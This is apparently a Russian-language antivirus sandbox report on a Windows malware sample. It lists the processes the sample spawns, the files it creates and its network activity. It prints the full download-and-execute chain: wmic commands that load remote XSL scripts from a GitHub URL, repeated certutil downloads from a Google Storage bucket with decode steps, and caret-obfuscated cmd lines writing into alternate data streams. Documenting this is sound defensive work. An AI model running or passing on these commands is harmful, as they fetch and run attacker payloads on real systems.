Техническая информация
Вредоносные функции
Создает и запускает на исполнение
- '<SYSTEM32>\wbem\wmic.exe' os get UYIFJrrbm, zxxmiir, PlusProductID /format:"http://ra#.####ubusercontent.com/GCMaia/Sharing/master/.idea/libraries/x/08/v.xsl#0250954666lruee"
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/08/halawxtzxb.gif.zip.log?593179281 C:\Users\Public\Libraries\win32\halawxtzxb.~.z
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzxa.~.z C:\Users\Public\Libraries\win32\halawxtzxa.~
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/08/halawxtzxa.gif.zip.log?716136631 C:\Users\Public\Libraries\win32\halawxtzxa.~.z
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzgx.gif.z C:\Users\Public\Libraries\win32\halawxtzgx.gif
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/08/halawxtzgx.gif.zip.log?786152266 C:\Users\Public\Libraries\win32\halawxtzgx.gif.z
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzg.gif.z C:\Users\Public\Libraries\win32\halawxtzg.gif
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/08/halawxtzg.gif.zip.log?789790768 C:\Users\Public\Libraries\win32\halawxtzg.gif.z
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzdx.gif.z C:\Users\Public\Libraries\win32\halawxtzdx.gif
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzxb.~.z C:\Users\Public\Libraries\win32\halawxtzxb.~
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/08/halawxtzdx.gif.zip.log?3880852 C:\Users\Public\Libraries\win32\halawxtzdx.gif.z
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/08/halawxtzdwwn.gif.zip.log?843777347 C:\Users\Public\Libraries\win32\halawxtzdwwn.gif.z
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzc.jpg.z C:\Users\Public\Libraries\win32\halawxtzc.jpg
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/08/halawxtzc.jpg.zip.log?718465566 C:\Users\Public\Libraries\win32\halawxtzc.jpg.z
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzb.jpg.z C:\Users\Public\Libraries\win32\halawxtzb.jpg
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/08/halawxtzb.jpg.zip.log?400007140 C:\Users\Public\Libraries\win32\halawxtzb.jpg.z
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtza.jpg.z C:\Users\Public\Libraries\win32\halawxtza.jpg
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/08/halawxtza.jpg.zip.log?473076956 C:\Users\Public\Libraries\win32\halawxtza.jpg.z
- '<SYSTEM32>\wbem\wmic.exe' os get MTFEQXIO, TEEYXVSM, EZJXJKKK, lastbootupdate /format:"https://raw.githubusercontent.com/GCMaia/Sharing/master/.idea/libraries/x/08/vv.xsl#461523"
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzdwwn.gif.z C:\Users\Public\Libraries\win32\halawxtzdwwn.gif
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/08/halawxtzhh29a.dll.zip.log?326046957 C:\Users\Public\Libraries\win32\halawxtz64a.dll.z
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\edifihk.jpg:nmcmxbb.cmd
- <LS_APPDATA>\microsoft\windows\<INETFILES>\content.ie5\0u8lpyu9\halawxtzdx.gif.zip[1].log
- C:\users\public\libraries\win32\halawxtzdwwn.gif
- C:\users\public\libraries\win32\halawxtzdwwn.gif.z
- <LS_APPDATA>\microsoft\windows\<INETFILES>\content.ie5\re1n75kr\halawxtzdwwn.gif.zip[1].log
- C:\users\public\libraries\win32\halawxtzc.jpg
- C:\users\public\libraries\win32\halawxtzc.jpg.z
- <LS_APPDATA>\microsoft\windows\<INETFILES>\content.ie5\bzjx5bke\halawxtzc.jpg.zip[1].log
- C:\users\public\libraries\win32\halawxtzb.jpg
- C:\users\public\libraries\win32\halawxtzdx.gif.z
- C:\users\public\libraries\win32\halawxtzb.jpg.z
- C:\users\public\libraries\win32\halawxtza.jpg
- C:\users\public\libraries\win32\halawxtza.jpg.z
- <LS_APPDATA>\microsoft\windows\<INETFILES>\content.ie5\0u8lpyu9\halawxtza.jpg.zip[1].log
- %TEMP%\sxsf17d.tmp
- <LS_APPDATA>\microsoft\windows\<INETFILES>\content.ie5\re1n75kr\vv[1].xsl
- %TEMP%\fqxhspqj.jpg:init.cmd
- %TEMP%\sxse6bf.tmp
- <LS_APPDATA>\microsoft\windows\<INETFILES>\content.ie5\caasbycl\v[1].xsl
- <LS_APPDATA>\microsoft\windows\<INETFILES>\content.ie5\caasbycl\halawxtzb.jpg.zip[1].log
- C:\users\public\libraries\win32\halawxtzdx.gif
Сетевая активность
Подключается к
- 'st#####.googleapis.com':443
TCP
Запросы HTTP GET
- http://ra#.####ubusercontent.com/GCMaia/Sharing/master/.idea/libraries/x/08/v.xsl
- http://oc##.#odaddy.com//MEgwRjBEMEIwQDAJBgUrDgMCGgUABBS2CA1fbGt26xPkOKX4ZguoUjM0TgQUQMK9J47MNIMwojPX%2B2yz8LQsgM4CBwQLre%2BWcn4%3D
UDP
- DNS ASK ra#.####ubusercontent.com
- DNS ASK st#####.googleapis.com
- DNS ASK oc##.#odaddy.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c echo wmic ^os ^get ^MTFEQXIO, ^TEEYXVSM, ^EZJXJKKK, ^lastbootupdate ^/format:"https://raw.githubusercontent.com/GCMaia/Sharing/master/.idea/libraries/x/08/vv.xsl#461523" > %TMP%\FQXHSPQJ.jp...' (со скрытым окном)
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzxb.~.z C:\Users\Public\Libraries\win32\halawxtzxb.~' (со скрытым окном)
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/08/halawxtzxb.gif.zip.log?593179281 C:\Users\Public\Libraries\win32\halawxtzxb.~.z' (со скрытым окном)
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzxa.~.z C:\Users\Public\Libraries\win32\halawxtzxa.~' (со скрытым окном)
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/08/halawxtzxa.gif.zip.log?716136631 C:\Users\Public\Libraries\win32\halawxtzxa.~.z' (со скрытым окном)
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzgx.gif.z C:\Users\Public\Libraries\win32\halawxtzgx.gif' (со скрытым окном)
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/08/halawxtzgx.gif.zip.log?786152266 C:\Users\Public\Libraries\win32\halawxtzgx.gif.z' (со скрытым окном)
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzg.gif.z C:\Users\Public\Libraries\win32\halawxtzg.gif' (со скрытым окном)
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/08/halawxtzg.gif.zip.log?789790768 C:\Users\Public\Libraries\win32\halawxtzg.gif.z' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /V /C "echo 142_T3SL4S_>C:\Users\Public\Libraries\win32\r1.log"&& exit' (со скрытым окном)
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzdx.gif.z C:\Users\Public\Libraries\win32\halawxtzdx.gif' (со скрытым окном)
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzdwwn.gif.z C:\Users\Public\Libraries\win32\halawxtzdwwn.gif' (со скрытым окном)
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/08/halawxtzdwwn.gif.zip.log?843777347 C:\Users\Public\Libraries\win32\halawxtzdwwn.gif.z' (со скрытым окном)
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzc.jpg.z C:\Users\Public\Libraries\win32\halawxtzc.jpg' (со скрытым окном)
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/08/halawxtzc.jpg.zip.log?718465566 C:\Users\Public\Libraries\win32\halawxtzc.jpg.z' (со скрытым окном)
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzb.jpg.z C:\Users\Public\Libraries\win32\halawxtzb.jpg' (со скрытым окном)
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/08/halawxtzb.jpg.zip.log?400007140 C:\Users\Public\Libraries\win32\halawxtzb.jpg.z' (со скрытым окном)
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtza.jpg.z C:\Users\Public\Libraries\win32\halawxtza.jpg' (со скрытым окном)
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/08/halawxtza.jpg.zip.log?473076956 C:\Users\Public\Libraries\win32\halawxtza.jpg.z' (со скрытым окном)
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/08/halawxtzdx.gif.zip.log?3880852 C:\Users\Public\Libraries\win32\halawxtzdx.gif.z' (со скрытым окном)
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/08/halawxtzhh29a.dll.zip.log?326046957 C:\Users\Public\Libraries\win32\halawxtz64a.dll.z' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' -
- '<SYSTEM32>\cmd.exe' /c echo wmic ^os ^get ^MTFEQXIO, ^TEEYXVSM, ^EZJXJKKK, ^lastbootupdate ^/format:"https://raw.githubusercontent.com/GCMaia/Sharing/master/.idea/libraries/x/08/vv.xsl#461523" > %TMP%\FQXHSPQJ.jp...
- '<SYSTEM32>\cmd.exe' /V /C "echo 142_T3SL4S_>C:\Users\Public\Libraries\win32\r1.log"&& exit
